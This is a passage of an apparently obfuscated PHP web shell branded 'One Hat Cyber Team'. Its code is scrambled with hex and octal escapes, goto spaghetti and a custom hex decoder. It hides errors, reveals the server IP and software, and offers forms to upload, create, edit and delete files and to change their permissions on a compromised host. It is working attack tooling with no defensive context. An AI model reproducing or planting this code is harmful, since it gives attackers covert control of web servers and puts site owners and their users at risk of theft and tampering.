20\x74\162\72\x68\x6f\x76\145\x72\x20\164\144\x20\173\xd\xa\40\x20\x20\x20\142\141\143\153\147\x72\x6f\x75\156\144\x3a\40\43\x33\x66\63\x66\x33\146\70\60\73\15\xa\x20\40\x20\x20\142\x6f\x78\x2d\x73\x68\x61\x64\157\x77\x3a\x20\151\x6e\x73\x65\x74\x20\60\x70\170\40\x30\160\x78\40\60\x70\170\40\x31\x70\170\40\43\x30\x30\x62\x66\x66\146\x3b\15\12\40\x20\x20\40\142\157\162\144\145\162\55\x72\141\144\x69\165\163\x3a\x20\62\x70\x78\73\xd\12\x7d\15\12\xd\12\x2e\x74\x61\142\154\x65\55\150\x6f\166\x65\x72\x20\164\x62\157\x64\x79\40\x74\x72\x3a\x68\157\166\x65\162\x20\164\x64\76\x2a\40\x7b\15\xa\175\xd\12\15\12\x2e\x74\x61\x62\x6c\145\x3e\x74\x62\157\x64\x79\x3e\164\162\x3e\52\40\173\15\xa\40\40\x20\40\x63\157\x6c\x6f\162\72\x23\x66\x66\x66\x3b\15\xa\x20\x20\x20\40\166\145\162\164\x69\x63\141\x6c\55\141\x6c\x69\147\x6e\72\x6d\x69\144\x64\x6c\145\73\15\xa\175\xd\xa\15\xa\x2e\x66\x6f\x72\155\55\143\157\156\164\162\157\154\40\x7b\15\xa\40\x20\x20\40\x62\141\143\x6b\147\x72\157\165\x6e\x64\x3a\x30\40\60\x21\x69\155\x70\157\x72\164\141\156\164\x3b\15\12\40\40\40\x20\143\157\154\x6f\x72\72\x23\146\146\146\41\x69\155\x70\x6f\162\164\x61\x6e\x74\x3b\15\12\40\40\x20\x20\x62\157\162\x64\x65\162\x2d\x72\x61\144\x69\x75\x73\72\60\73\15\12\x7d\xd\12\xd\12\56\x66\x6f\x72\155\x2d\143\x6f\x6e\x74\162\x6f\154\x3a\x3a\160\154\x61\x63\145\x68\157\x6c\x64\145\162\x20\173\15\xa\40\40\40\40\x63\157\x6c\x6f\x72\x3a\43\x66\146\146\73\15\xa\40\x20\40\x20\157\x70\141\143\x69\x74\171\72\x31\73\15\12\175\xd\12\15\xa\56\146\157\162\155\x2d\x67\x72\x6f\x75\x70\x20\173\15\xa\x20\40\x20\40\x6d\141\162\147\151\x6e\x2d\164\157\x70\x3a\40\56\63\x72\x65\x6d\x3b\xd\12\x20\40\40\40\155\141\x72\147\x69\156\x2d\142\x6f\164\164\x6f\x6d\x3a\x20\x2e\63\x72\x65\x6d\73\15\xa\x7d\15\xa\xd\xa\x6c\151\x20\173\xd\xa\40\40\x20\40\146\x6f\156\x74\x2d\x73\x69\172\145\x3a\x6c\x61\x72\147\x65\41\151\x6d\x70\157\162\x74\x61\156\164\73\15\xa\40\x20\40\40\143\157\154\x6f\162\72\x20\x23\60\60\142\x66\146\146\41\151\x6d\x70\157\x72\164\141\156\164\73\xd\xa\x20\x20\x20\x20\154\x69\x73\164\x2d\163\164\x79\x6c\145\x3a\40\151\156\x68\145\162\151\x74\x21\151\x6d\160\157\x72\164\x61\x6e\164\x3b\15\xa\x7d\xd\xa\xd\12\141\40\173\xd\12\40\40\40\40\143\x6f\154\x6f\162\x3a\40\x23\x66\x66\x66\x66\146\x66\73\15\xa\x20\x20\x20\40\164\145\x78\164\55\x64\145\x63\x6f\162\141\164\151\x6f\156\72\x20\156\157\156\145\x21\151\x6d\160\x6f\x72\164\x61\x6e\x74\73\xd\xa\175\15\12\15\12\141\x3a\x68\157\166\145\x72\x20\x7b\15\12\40\x20\x20\x20\164\145\170\164\55\x64\x65\x63\157\162\141\x74\151\x6f\x6e\x3a\x20\156\157\x6e\145\x21\151\x6d\x70\x6f\162\x74\141\156\164\x3b\15\xa\x20\40\40\40\143\x6f\154\x6f\162\x3a\40\43\x30\x30\142\x66\146\x66\x3b\15\xa\40\40\40\x20\x61\156\x69\155\x61\x74\151\157\x6e\72\x20\153\145\144\151\x70\x20\61\163\x20\154\151\x6e\145\x61\x72\x20\151\156\146\x69\156\151\x74\145\73\xd\12\x7d\xd\xa\xd\12\150\65\40\173\xd\xa\x20\x20\40\x20\155\x61\x72\147\151\x6e\x2d\164\x6f\160\x3a\40\61\x2e\65\160\170\73\15\12\40\x20\x20\40\155\x61\162\147\151\x6e\55\x62\157\x74\164\x6f\155\x3a\40\x31\56\x35\x70\x78\73\15\12\x20\x20\x20\40\143\157\x6c\157\162\72\x20\x23\60\x30\142\x66\x66\146\x21\151\155\160\x6f\162\164\x61\x6e\164\x3b\15\xa\x20\40\40\40\160\x61\x64\x64\x69\156\x67\x3a\40\62\160\x78\x3b\xd\xa\175\15\xa\xd\xa\164\x65\170\x74\x61\x72\145\141\x20\x7b\15\xa\40\40\x20\40\167\x69\x64\164\150\72\x20\x39\x37\45\73\xd\xa\40\x20\x20\40\x66\x6f\x6e\x74\x2d\x73\x69\172\x65\x3a\40\155\145\144\x69\165\155\x21\x69\x6d\160\x6f\162\x74\x61\x6e\x74\x3b\15\xa\40\40\40\x20\x66\x6f\x6e\164\55\146\x61\x6d\151\154\x79\72\x20\151\156\x68\x65\162\151\164\x3b\xd\12\x20\40\x20\40\x68\145\151\147\x68\164\x3a\x20\x34\x34\x76\150\x3b\15\xa\x20\40\40\x20\160\141\x64\144\151\156\x67\55\x6c\x65\x66\x74\72\40\65\160\x78\x3b\15\12\175\xd\12\15\xa\142\x75\164\x74\157\x6e\54\40\x69\156\x70\165\x74\x20\x7b\15\xa\x20\40\40\40\x62\157\x72\x64\145\162\x3a\x20\x32\x70\170\40\163\x6f\154\x69\144\x20\43\60\60\x62\146\146\146\x3b\xd\12\40\40\40\40\142\x6f\162\x64\145\162\55\x72\141\144\151\x75\163\x3a\40\x35\x70\170\x3b\15\xa\x20\x20\x20\40\146\157\x6e\x74\x2d\x73\151\172\145\x3a\x20\61\x35\160\170\73\15\xa\40\40\40\40\x63\157\x6c\157\x72\x3a\167\150\x69\164\145\x3b\15\xa\x20\x20\x20\x20\154\151\x6e\145\x2d\x68\145\151\147\150\x74\x3a\40\156\157\162\x6d\x61\x6c\x3b\15\12\x20\40\40\x20\x66\x6f\156\164\55\146\141\155\x69\154\x79\72\x20\151\x6e\150\145\162\x69\x74\x3b\xd\12\175\xd\12\xd\xa\x62\x75\x74\164\x6f\x6e\54\x20\151\156\160\x75\x74\72\150\157\x76\x65\x72\x20\173\xd\12\x20\40\x20\x20\x62\x6f\162\x64\x65\162\72\40\62\160\170\x20\x73\x6f\x6c\x69\x64\40\43\x30\x30\x62\146\x66\x66\73\15\xa\40\40\x20\x20\143\165\162\163\x6f\162\72\x20\x70\x6f\x69\156\x74\x65\162\73\xd\12\x7d\15\xa\15\xa\x2e\157\150\x63\164\40\x7b\xd\12\x20\40\40\x20\x70\141\x64\x64\151\156\x67\x2d\154\145\146\x74\72\40\61\162\145\x6d\73\xd\12\40\40\40\x20\160\141\144\144\151\156\147\x2d\162\x69\x67\150\164\x3a\40\x31\162\145\x6d\73\15\12\x20\x20\x20\x20\x63\x6f\154\157\x72\72\40\x77\x68\x69\x74\x65\x3b\xd\xa\x20\40\x20\40\x62\x6f\162\x64\x65\x72\x3a\x20\62\x70\170\40\163\x6f\154\151\144\x20\x23\x30\x30\142\146\146\146\x3b\15\12\x20\40\40\x20\x62\x6f\162\x64\x65\162\55\162\141\x64\151\x75\x73\x3a\40\65\160\x78\x3b\xd\12\40\40\x20\40\142\141\143\153\147\x72\x6f\x75\156\144\55\x63\157\154\157\x72\x3a\40\164\x72\x61\156\x73\x70\x61\x72\x65\x6e\164\73\xd\xa\x20\40\40\x20\146\157\156\x74\x2d\146\x61\x6d\x69\x6c\x79\x3a\x20\151\156\150\x65\162\151\164\x3b\15\xa\40\x20\40\x20\x66\x6f\156\x74\55\x73\x69\172\145\72\x20\61\x36\160\170\73\xd\12\x7d\15\xa\xd\12\56\157\x68\x63\164\72\150\157\x76\145\162\40\173\xd\12\40\x20\40\x20\142\157\162\x64\x65\x72\72\x20\62\160\170\40\x73\157\x6c\x69\144\x20\43\60\60\x62\146\x66\x66\73\15\xa\40\40\x20\x20\x63\157\x6c\x6f\x72\72\40\x23\60\60\142\x66\x66\146\x21\x69\x6d\160\x6f\x72\164\x61\156\x74\x3b\15\xa\175\15\12\15\12\56\143\157\x6d\x62\145\x74\x20\173\15\12\40\40\40\40\143\x6f\x6c\x6f\162\x3a\40\167\x68\151\164\145\x3b\xd\12\x7d\xd\xa\15\xa\x2e\143\157\155\x62\145\164\x3a\x68\x6f\x76\145\162\x20\x7b\xd\xa\x20\40\x20\x20\x63\157\154\157\162\72\40\x23\x30\x30\x62\x66\x66\146\x3b\15\xa\175\xd\12\xd\xa\x2e\160\55\61\40\x7b\15\12\40\x20\40\x20\160\141\144\x64\151\156\147\72\x20\64\160\x78\73\15\xa\x7d\15\xa\15\xa\72\x3a\x73\145\x6c\x65\x63\x74\x69\x6f\156\40\173\xd\xa\x20\x20\40\40\143\x6f\x6c\157\x72\72\40\x62\x6c\x61\143\153\x3b\15\xa\x20\40\40\x20\142\x61\x63\x6b\147\162\157\165\x6e\x64\x3a\x20\163\151\x6c\166\145\x72\x3b\xd\xa\175\xd\12\xd\12\56\x66\x61\40\173\15\12\40\x20\x20\x20\160\x61\x64\x64\x69\156\x67\72\40\61\x30\160\170\73\15\12\x20\40\40\40\x66\157\156\164\55\163\151\x7a\x65\x3a\x20\62\60\x70\170\x3b\xd\xa\40\40\x20\x20\167\151\144\164\150\x3a\x20\x35\60\160\170\73\xd\12\x20\x20\40\x20\x74\145\170\x74\55\141\154\x69\147\x6e\72\x20\x63\x65\x6e\164\x65\162\73\15\xa\x20\40\40\x20\x74\x65\170\x74\55\144\145\143\157\x72\141\164\151\x6f\156\72\40\x6e\157\x6e\145\x3b\15\12\x20\40\x20\40\x6d\141\162\x67\x69\156\72\40\x35\160\x78\73\xd\xa\40\x20\x20\40\143\x6f\x6c\x6f\x72\x3a\x20\43\60\60\x62\x66\146\146\73\xd\12\x7d\15\xa\15\12\56\146\141\x3a\150\157\166\x65\162\40\173\xd\xa\x20\x20\40\x20\x62\x6f\x72\144\145\162\x3a\40\x32\160\x78\x20\163\157\x6c\x69\144\x20\x23\x30\x30\x62\146\146\x66\73\xd\xa\175\xd\xa\xd\xa\56\x74\x65\170\x74\x2d\x6c\x69\x67\x68\x74\40\173\xd\xa\x20\40\40\40\x63\x6f\x6c\157\162\x3a\x20\x23\x66\x38\x66\x39\x66\141\x21\x69\x6d\160\x6f\x72\x74\141\156\x74\73\15\xa\x20\x20\x20\40\146\x6f\156\x74\55\x73\x69\172\x65\x3a\40\154\141\162\x67\145\41\x69\x6d\x70\157\162\164\141\156\164\x3b\xd\12\x7d\15\xa\xd\xa\x2e\153\x65\x64\x69\160\x20\173\xd\12\40\x20\40\x20\x61\156\x69\155\141\164\151\x6f\156\72\x20\153\145\x64\x69\160\40\61\163\40\154\x69\x6e\x65\141\162\x20\x69\156\146\x69\x6e\x69\x74\145\x3b\15\12\x7d\15\xa\15\12\100\153\145\171\x66\162\x61\155\x65\163\40\153\x65\x64\151\160\x20\173\xd\xa\40\40\40\x20\x30\x25\x20\x7b\15\12\x20\x20\x20\x20\x20\40\40\40\143\x6f\154\157\162\72\x20\43\60\x30\x62\146\x66\x66\73\xd\xa\40\x20\40\x20\x7d\15\12\x20\40\40\40\65\60\x25\40\x7b\xd\xa\x20\x20\x20\40\40\x20\x20\40\143\157\x6c\157\162\72\40\167\150\151\164\145\73\15\xa\x20\x20\x20\40\x7d\15\xa\x20\x20\40\x20\61\60\x30\x25\40\x7b\xd\12\x20\40\40\x20\x20\x20\40\x20\143\157\154\x6f\x72\x3a\40\43\x30\x30\142\146\x66\x66\73\xd\xa\40\40\x20\40\x7d\xd\xa\175\15\12\15\12\x40\x6b\x65\x79\146\x72\x61\x6d\145\x73\x20\x72\141\151\x6e\142\x6f\x77\102\x6f\162\144\x65\x72\x20\173\15\xa\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x30\45\40\173\15\xa\40\40\40\40\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x62\157\162\144\x65\x72\x2d\151\x6d\x61\x67\x65\x3a\40\154\151\156\145\x61\162\55\147\162\141\144\151\145\156\164\50\x74\x6f\x20\x72\x69\147\150\164\x2c\x20\x23\x30\x30\x62\x66\146\146\x2c\40\155\141\147\x65\x6e\x74\141\51\40\61\x3b\15\12\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\175\15\12\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\61\x34\x25\x20\173\15\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\142\157\162\144\x65\x72\x2d\x69\x6d\141\x67\x65\x3a\40\x6c\151\156\x65\141\x72\55\x67\x72\141\x64\151\x65\156\x74\50\164\157\x20\x72\151\x67\150\164\x2c\40\x6d\141\147\145\x6e\x74\141\x2c\40\x6c\x69\155\145\x29\40\x31\73\xd\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x7d\xd\12\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x32\x38\x25\x20\x7b\15\12\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x62\x6f\x72\144\x65\162\55\151\155\x61\x67\x65\72\x20\154\151\x6e\145\x61\x72\x2d\147\x72\x61\x64\x69\x65\156\x74\x28\164\157\40\162\x69\x67\x68\x74\x2c\x20\x6c\x69\x6d\145\x2c\40\x79\145\154\x6c\x6f\167\x29\40\x31\x3b\xd\xa\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\175\xd\12\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\64\62\45\x20\173\15\xa\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\142\157\162\144\x65\162\55\151\155\141\147\x65\72\x20\154\x69\156\145\x61\x72\x2d\147\162\x61\144\x69\x65\x6e\164\x28\x74\157\x20\162\151\147\x68\164\54\40\171\x65\154\x6c\x6f\x77\x2c\x20\x6f\x72\x61\x6e\147\x65\x29\x20\x31\x3b\xd\12\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\x7d\xd\12\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\65\x37\45\x20\173\xd\xa\40\40\40\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\142\x6f\x72\144\x65\x72\x2d\x69\155\x61\147\145\72\x20\x6c\151\156\x65\x61\x72\55\147\x72\x61\144\151\145\x6e\x74\50\x74\x6f\40\162\151\x67\150\164\x2c\x20\157\x72\141\x6e\147\145\x2c\x20\162\145\x64\51\40\x31\x3b\15\12\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x7d\xd\xa\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x37\x31\45\x20\x7b\xd\12\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\142\x6f\162\x64\x65\162\x2d\151\155\x61\x67\x65\72\40\x6c\x69\156\145\141\x72\x2d\147\162\141\144\151\x65\156\164\50\x74\x6f\40\x72\151\x67\150\164\x2c\40\x72\x65\144\x2c\40\x70\x69\156\x6b\x29\x20\61\x3b\15\12\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x7d\15\xa\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x38\x35\45\40\173\15\12\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\x62\x6f\x72\x64\145\x72\x2d\151\x6d\141\x67\x65\x3a\40\x6c\151\x6e\145\x61\162\x2d\147\162\x61\144\x69\145\156\164\50\164\157\40\x72\151\147\150\164\54\x20\x70\151\x6e\153\54\x20\43\x30\60\142\146\x66\146\51\x20\x31\73\15\12\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\175\xd\xa\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x31\x30\60\x25\x20\173\15\xa\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\142\157\162\x64\145\162\x2d\151\x6d\141\x67\x65\x3a\x20\x6c\151\x6e\x65\141\162\x2d\x67\162\x61\x64\151\145\x6e\x74\x28\x74\x6f\40\162\x69\147\150\164\54\40\43\x30\60\x62\x66\146\x66\54\40\155\141\147\x65\x6e\164\141\x29\40\x31\73\xd\xa\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\175\15\12\40\x20\40\x20\x20\x20\x20\x20\x7d\15\12\xd\xa\x2e\x72\141\x69\156\142\x6f\167\x2d\142\x6f\x72\144\x65\x72\40\173\15\xa\40\40\40\x20\142\157\x72\x64\x65\x72\x3a\40\x32\160\x78\40\163\157\x6c\151\x64\x20\162\x65\144\73\15\xa\40\40\40\x20\x62\157\162\x64\145\162\55\162\141\x64\151\x75\x73\72\40\x35\160\x78\41\x69\x6d\160\157\x72\164\141\156\x74\73\xd\xa\x20\x20\x20\x20\141\156\151\x6d\x61\x74\151\157\156\x3a\40\162\141\x69\x6e\x62\157\167\102\157\x72\x64\145\162\x20\62\x73\x20\x6c\151\x6e\x65\141\162\40\x69\156\146\151\x6e\151\x74\145\73\15\xa\175\xd\xa\x20\40\x20\x20\x20\40\x20\x20\100\x6b\145\171\x66\x72\x61\x6d\x65\x73\x20\162\x61\x69\156\x62\157\x77\124\145\170\164\x20\173\xd\12\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\60\45\x20\173\15\xa\x20\40\40\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\143\x6f\x6c\x6f\162\x3a\x20\x23\60\60\142\146\146\146\x3b\15\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x7d\xd\xa\x20\40\40\x20\x20\40\40\40\40\x20\40\40\x31\x34\x25\x20\173\xd\xa\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\143\157\x6c\157\x72\x3a\40\155\x61\147\x65\x6e\x74\141\73\15\12\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\175\xd\12\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\62\70\x25\x20\x7b\15\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\143\157\x6c\x6f\162\x3a\x20\154\x69\x6d\x65\x3b\15\xa\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\175\xd\xa\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\64\62\45\x20\x7b\xd\xa\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x63\x6f\x6c\157\162\x3a\x20\171\x65\154\x6c\157\x77\x3b\xd\12\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x7d\xd\xa\x20\40\x20\40\40\40\40\x20\40\40\40\40\65\x37\x25\40\173\xd\12\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x63\157\154\157\x72\72\40\x6f\x72\x61\156\147\x65\73\15\xa\x20\40\40\40\x20\40\40\40\40\x20\x20\40\175\15\xa\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\67\x31\x25\x20\173\xd\xa\40\40\x20\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\143\x6f\154\x6f\162\72\x20\162\145\144\x3b\15\12\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\175\15\xa\40\40\x20\40\40\x20\40\40\40\40\x20\x20\70\65\45\x20\173\xd\xa\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\40\40\143\x6f\x6c\x6f\x72\72\40\x70\151\x6e\153\x3b\xd\xa\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\175\15\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x31\x30\x30\45\x20\x7b\15\12\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\143\157\x6c\x6f\x72\72\40\43\x30\x30\x62\x66\146\x66\73\xd\12\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\175\xd\xa\x20\x20\40\40\40\40\40\x20\175\xd\xa\56\x72\141\x69\156\x62\157\x77\55\x74\145\x78\x74\x20\x7b\xd\12\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\141\x6e\151\x6d\x61\x74\151\157\x6e\72\40\x72\x61\151\x6e\x62\157\x77\x54\x65\170\164\x20\x32\163\40\x69\x6e\146\151\x6e\x69\x74\x65\73\15\xa\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\146\x6f\156\x74\x2d\x77\145\151\147\150\x74\72\40\x62\x6f\154\x64\73\15\xa\40\x20\40\x20\x20\40\x20\40\175\15\xa\x3c\x2f\x73\164\x79\x6c\x65\76\xd\12\40\x20\40\x20\74\x73\143\162\x69\x70\x74\x20\x73\x72\143\75\x22\x2f\x2f\x75\x6e\x70\x6b\147\x2e\x63\157\x6d\57\163\x77\145\x65\164\x61\154\x65\x72\x74\57\144\151\163\x74\x2f\x73\167\x65\x65\x74\x61\154\x65\162\x74\x2e\x6d\x69\156\56\x6a\163\42\76\x3c\57\163\x63\x72\151\x70\x74\76\xd\12\x3c\x2f\150\145\141\144\76\xd\12\74\x62\157\x64\171\x3e\15\12\x3c\x64\x69\166\40\143\154\x61\163\x73\75\x22\164\x61\142\154\145\55\162\145\163\x70\157\156\x73\x69\166\x65\40\164\145\170\164\x2d\154\151\147\150\164\40\162\x61\x69\x6e\142\157\x77\55\142\x6f\x72\x64\145\162\42\40\163\164\171\x6c\145\75\42\164\x65\170\164\55\x61\x6c\x69\x67\156\x3a\40\x6c\145\x66\164\73\x70\x61\144\x64\x69\156\x67\x3a\40\64\160\x78\x3b\42\x3e\xd\xa\74\x64\151\166\40\163\x74\171\154\145\75\42\x74\x65\x78\164\55\141\154\151\147\156\72\40\143\x65\156\164\x65\x72\x3b\144\151\x73\x70\x6c\x61\x79\x3a\x20\146\x6c\145\x78\73\141\x6c\x69\147\x6e\x2d\151\164\x65\155\163\72\40\x63\145\x6e\x74\x65\162\x3b\152\x75\x73\x74\151\x66\x79\55\x63\x6f\156\x74\145\156\164\72\x20\143\145\156\x74\145\162\x3b\141\154\151\x67\x6e\55\x63\157\x6e\x74\x65\x6e\164\72\x20\x63\x65\156\164\145\162\73\42\76\15\xa\x3c\x61\x20\x68\x72\x65\x66\x3d\42\77\x22\x20\x73\164\171\154\x65\x3d\42\146\x6f\x6e\164\x2d\x73\x69\x7a\145\72\40\x32\x72\145\155\73\160\141\x64\144\x69\156\147\x2d\154\x65\x66\164\x3a\40\x30\56\63\162\145\155\73\160\141\x64\144\151\x6e\147\55\x72\x69\147\x68\164\72\40\60\56\x33\x72\145\x6d\x3b\42\76\x3c\x73\x70\x61\156\40\x63\154\x61\163\x73\75\42\x72\141\151\156\x62\x6f\x77\55\x74\145\170\x74\42\x3e\x4f\156\145\x20\110\x61\x74\40\x43\x79\x62\x65\x72\x20\x54\145\141\155\74\57\163\160\141\x6e\x3e\74\x2f\x61\76\x20\15\12\x3c\57\x64\x69\166\76\xd\12\x3c\x6c\151\76\x59\157\165\162\x20\111\120\x20\72\x20\74\163\160\141\156\40\x73\164\171\154\x65\75\x22\x63\157\154\157\x72\x3a\x20\x77\x68\x69\x74\145\x3b\x22\x3e"; goto qv6Am; Y7Z0b: sEy8B: goto LExXx; P3c4U: echo "\x3c\57\144\151\x76\x3e\xd\12"; goto IXUL0; i6dER: echo gethostbyname($_SERVER["\123\105\122\126\105\122\137\x4e\101\115\x45"]); goto pUQui; ouN_B: sVyvh: goto FfdSI; Z3Rwf: $c8[$lE] = JD($c8[$lE]); goto n21be; as55f: if (move_uploaded_file($fileTmpName, $targetFilePath)) { goto uEny2; } goto SSOY8; V32i4: GqE6o: goto z00aG; tCv0u: if (file_exists($filePath)) { goto IfSJ9; } goto a3yUv; k3N95: goto jycuQ; goto ouN_B; uiNll: echo "\74\x2f\150\65\x3e\15\12\x3c\x66\157\x72\x6d\40\x6d\x65\x74\x68\x6f\144\75\x22\160\157\x73\164\x22\x3e\xd\12\40\x20\40\x20\74\x64\x69\166\40\x63\x6c\x61\163\163\75\x22\x66\157\x72\x6d\x2d\x67\162\157\165\160\42\76\xd\12\40\x20\40\x20\x20\x20\40\x20\x3c\x69\x6e\x70\165\x74\x20\164\171\x70\145\75\x22\x74\145\170\164\x22\40\156\141\x6d\145\x3d\x22\x6e\x65\x77\137\160\x65\x72\155\x69\x73\x73\x69\x6f\x6e\x73\x22\x20\151\x64\x3d\x22\x6e\145\x77\x5f\x70\x65\162\155\x69\163\163\151\157\156\x73\42\40\x63\154\x61\163\163\x3d\42\142\x6f\x72\x64\145\x72\x20\160\x2d\61\x22\x20\x70\154\141\143\x65\x68\157\x6c\144\145\162\75\x22\103\157\156\164\x6f\x68\x3a\40\x30\x37\x35\65\x22\x20\x73\x74\x79\x6c\145\75\x22\x74\145\170\164\x2d\x61\154\151\x67\x6e\x3a\40\143\x65\156\x74\x65\162\73\x22\x3e\15\12\40\x20\x20\40\74\x2f\144\151\166\76\xd\12\40\x20\40\x20\x3c\144\151\x76\40\143\x6c\141\x73\x73\x3d\x22\146\x6f\x72\155\55\147\162\157\x75\x70\x22\x20\163\x74\171\154\x65\75\42\155\141\x72\147\151\x6e\x2d\x74\157\x70\72\x20\61\x30\160\170\73\x22\x3e\15\12\40\40\x20\x20\40\40\x20\x20\x3c\142\165\x74\x74\157\x6e\x20\x74\x79\x70\145\75\x22\163\165\x62\155\151\x74\x22\40\x6e\x61\155\145\75\x22\143\x68\141\156\x67\x65\x5f\x70\145\162\155\x73\x22\x20\x63\154\141\163\163\75\42\x6f\x68\x63\164\42\76\x55\x62\141\x68\40\x49\172\x69\x6e\x3c\57\142\165\164\164\157\x6e\76\15\xa\40\x20\x20\40\74\57\x64\151\x76\76\15\xa\74\x2f\146\x6f\x72\155\76\xd\12\15\xa"; goto oUPhS; ub8zK: xe("\106\x69\x6c\145\40\x62\x65\162\150\141\x73\151\154\x20\144\x69\x75\x6e\x67\x67\x61\150"); goto XbO1F; qkvjE: Q1N8Z: goto ckKLx; aRFgz: if (!isset($_POST["\x63\162\145\x61\164\145\x5f\146\151\154\145"])) { goto cHfGd; } goto iOZrz; SrtER: JuQTj: goto psV4R; f5aRU: $folderName = $_POST["\146\157\x6c\x64\x65\x72\137\156\141\155\145"]; goto X9oWu; M6ABo: echo $_SERVER["\123\x45\122\x56\x45\122\x5f\123\117\x46\124\127\101\122\x45"]; goto SwPKx; w2eNq: echo Ss($Jd) . "\46\x61\75" . sS("\x6e\145\x77\104\x69\x72"); goto XuBX4; PBWDG: oKtRs: goto G8ZaQ; APzPP: DqkC1: goto DFSe3; Ne4KB: mBbAB: goto y8gBw; X0blT: PW8sr: goto ned6r; IYt8j: uEny2: goto ub8zK; G8ZaQ: if (!($im == "\x65\x64\x69\x74")) { goto sVyvh; } goto k3N95; CmQdn: echo htmlspecialchars(jD($_GET["\156"])); goto MycnO; XjoI2: $newPerms = $_POST["\x6e\145\x77\137\x70\x65\162\155\151\x73\163\x69\157\x6e\x73"]; goto c6P__; K71UA: if ($im == "\144\145\154\145\x74\x65") { goto nhGdW; } goto fJZSg; fRdU4: function Jd($SP) { goto byBFn; byBFn: $dE = ''; goto KdwWq; AZq7K: $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); goto GTawt; JIesp: goto sY9T1; goto K2d5G; n7IWq: mZHDS: goto GB4ed; s8o21: return $dE; goto pWRTP; GTawt: KgfRl: goto mjhT4; K2d5G: gte_y: goto AZq7K; mjhT4: $lE += 2; goto Ywk5Q; oCr1K: $lE = 0; goto n7IWq; KdwWq: $gf = strlen($SP) - 1; goto oCr1K; GB4ed: if ($lE < $gf) { goto gte_y; } goto JIesp; vVstd: sY9T1: goto s8o21; Ywk5Q: goto mZHDS; goto vVstd; pWRTP: } goto KH9aY; rjz3G: goto WuWzI; goto ui2ii; RgCVA: BgYPr: goto V32i4; N93Qc: WuWzI: goto P3c4U; S2fjQ: qLlQw: goto SA16k; QznLN: echo htmlspecialchars(jD($_GET["\156"])); goto Ovz2f; jtnD_: if (is_writable($filePath)) { goto YepRA; } goto tqKCZ; Nc198: goto Bh2fC; goto aAPZK; t2P1z: xe("\x42\145\x72\150\141\163\x69\x6c\40\x6d\145\x6e\x67\165\142\141\x68\40\151\x7a\151\x6e"); goto EaJYU; hky0H: FuJKP: goto z47JB; K0vFC: ini_set("\x64\151\163\160\x6c\141\171\x5f\x65\162\162\157\x72\x73", 0); goto qZkE2; liHBS: cuWoE: goto YpqQB; hQI_R: wf9aW: goto klVg8; J6449: goto Fk3E1; goto liHBS; c6P__: $currentDir = getcwd(); goto y1nIx; Ovz2f: echo "\74\57\x66\x6f\156\164\76\xd\xa\74\x2f\150\x35\x3e\xd\xa\74\x64\x69\x76\x20\143\154\141\x73\163\x3d\x22\x66\x6f\162\155\55\x67\x72\157\165\160\42\x3e\15\12\x3c\x74\145\170\x74\141\x72\145\141\x20\156\x61\x6d\145\x3d\x22\146\x69\154\145\137\143\157\x6e\164\145\x6e\x74\42\x20\151\144\75\42\x66\x69\154\145\x5f\x63\157\156\164\145\x6e\164\x22\40\x63\157\154\x73\75\x22\x33\60\x22\x20\162\157\167\x73\75\42\x31\60\x22\x20\143\x6c\x61\163\163\x3d\42\146\157\162\x6d\x2d\x63\x6f\x6e\164\162\157\x6c\x20\x72\x61\151\156\x62\157\167\x2d\x62\x6f\x72\x64\145\162\x22\40\x72\x65\x61\144\157\x6e\x6c\171\x3e"; goto yCXHO; lP14A: $Jd = $c8[2](); goto vNGYA; KhgEs: echo 